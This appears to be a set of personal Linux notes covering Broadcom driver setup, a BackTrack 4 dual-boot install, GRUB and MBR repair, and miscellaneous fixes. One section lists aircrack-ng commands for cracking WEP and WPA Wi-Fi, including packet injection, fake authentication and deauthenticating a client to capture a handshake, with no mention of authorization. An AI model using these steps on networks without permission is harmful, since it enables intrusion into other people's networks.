Download this driver and transfer it with a USB or boot up into another OS on your multiboot and save it in the BT root folder from here.

Untar it:

tar -xvzf hybrid-portsrc-x86_32-v5_10_91_9-3.tar.gz

makefile:
make -C /lib/modules/`uname -r`/build M=`pwd`

Insert the modules:
modprobe ieee80211_crypt_tkip
insmod wl.ko

Now you should have the network Claimed. you can check by:
lshw -C network

Bring it up:
ifconfig eth1 up

To load the module upon boot:

cp wl.ko /lib/modules/`uname -r`/kernel/net/wireless
depmod -a
modprobe wl

Load the module at every startup:
kate /etc/modules

add the following and close the text editor:
ieee80211_crypt_tkip
wl

Load NetworkManager and Configure KnetworkManager:
Type NetworkManager in a konsole and configure the wireless at the bottom right.

Delete the files you created in the root folder now that you dont need them.

I already have Ubuntu installed so I downloaded Unetbootin and the BackTrack 4 Beta ISO.

I fired up Gparted and made a 6GB partition for BT4 and formatted it with reiserfs to avoid the ext3 checks.

Changed the permissions of the Unetbootin file:
chmod 777 /home/user/Desktop/unetbootin-linux-372

Fired up Unetbootin, entered my password and selected the BT4 iso and changed the type to hard disk:

Pressed Ok and let it do its thang

Reboot

When it restarts you have to select Unetbootin from the Grub menu and this will boot into Backtrack. My BackTrack partition I will install on is sda7 and BT4 automatically mounted it to /mnt/sda7

if not, you can mount your drive by typing:
mkdir /mnt/sda7
mount /dev/sda7 /mnt/sda7
replace sda7 with your partition

now, copy the required files from the pseudo-live cd to the hard drive:

cp -pr /{bin,dev,home,pentest,root,usr,boot,lib,etc,opt,sbin,var} /mnt/sda7/
mkdir /mnt/sda7/{mnt,proc,sys,tmp}
mount –bind /dev/ /mnt/sda7/dev/
mount -t proc proc /mnt/sda7/proc/

The installation is done, now you can reboot back into Ubuntu and load Unetbootin again. It will ask you to remove the changes it made earlier and select yes. Close unetbootin and open menu.lst for editing the grub menu:

sudo gedit /boot/grub/menu.lst

Add this to the end of the file and close:

title BackTrack 4 KDE
rootnoverify (hd0,6)
kernel /boot/vmlinuz vga=0×361 root=/dev/sda7 ro quiet splash autoexec=xconf;kdm
boot

title BackTrack 4 shell
root (hd0,6)
kernel /boot/vmlinuz ro root=/dev/sda7 vga=0×361
boot

My next post will be about getting the Broadcom wireless on the Lenovo S10 to work in BT4.

Other annoying beep sound when I shut down my Ubuntu. To get rid of this I blacklisted my pc speaker:

gedit /etc/modprobe.d/blacklist

add line
blacklist pcspkr

Save and reboot.

Follow these steps for a succesful WEP crack in Ubuntu:

download necessary files
sudo apt-get install aircrack-ng

place card in monitor mode
sudo airmon-ng start wlan0

test injection
sudo aireplay-ng -9 -e linksys -a 00:14:6C:7E:40:80 mon0
(0% means injection not working)

capture data and write to file called output
sudo airodump-ng -c 9 –bssid 00:14:6C:7E:40:80 -w output mon0

fake authentication
sudo aireplay-ng -1 0 -e linksys -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 mon0

replay mode
sudo aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 mon0

run aircrack
sudo aircrack-ng -z -b 00:14:6C:7E:40:80 output*.cap

For WPA cracking follow this:

monitor mode
sudo airmon-ng start wlan0

collect handshake
sudo airodump-ng -c 9 –bssid 00:14:6C:7E:40:80 -w psk mon0

deauth connected client
sudo aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 mon0

cracking
sudo aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap

These are just refreshers. For more help check www.aircrack-ng.org

Fix MBR from Ubuntu:

1.I didn’t have an Ubuntu liveCD on hand so I took out the hard drive, put it in an external case and connected it to another computer running Ubuntu.
2. Downloaded the ms-sys program since its not in the repos anymore. ms-sys
3. sudo fdisk -l to find the disk number
4. sudo ms-sys -m /dev/sdb

Now I have the MBR but still get the same ctrl alt del error. I’ll take a look at it later.

Fix Grub:

1. Still using the external case
2. sudo grub
3. find /boot/grub/stage1
4. setup (hd1,3) <- this is where the Ubuntu install is
5. root (hd1) <- root of the Ubuntu partition
6. quit

Restart computer

From AAron44126 over at the ubuntuforums found the problem:

“Fixed. gnome-settings-daemon was crashing, see this bug.

Run gconf-editor.
Navigate to /apps/gnome_settings_daemon/plugins/keyboard.
Uncheck the “Active” box on the right.
Log out and log back in.”
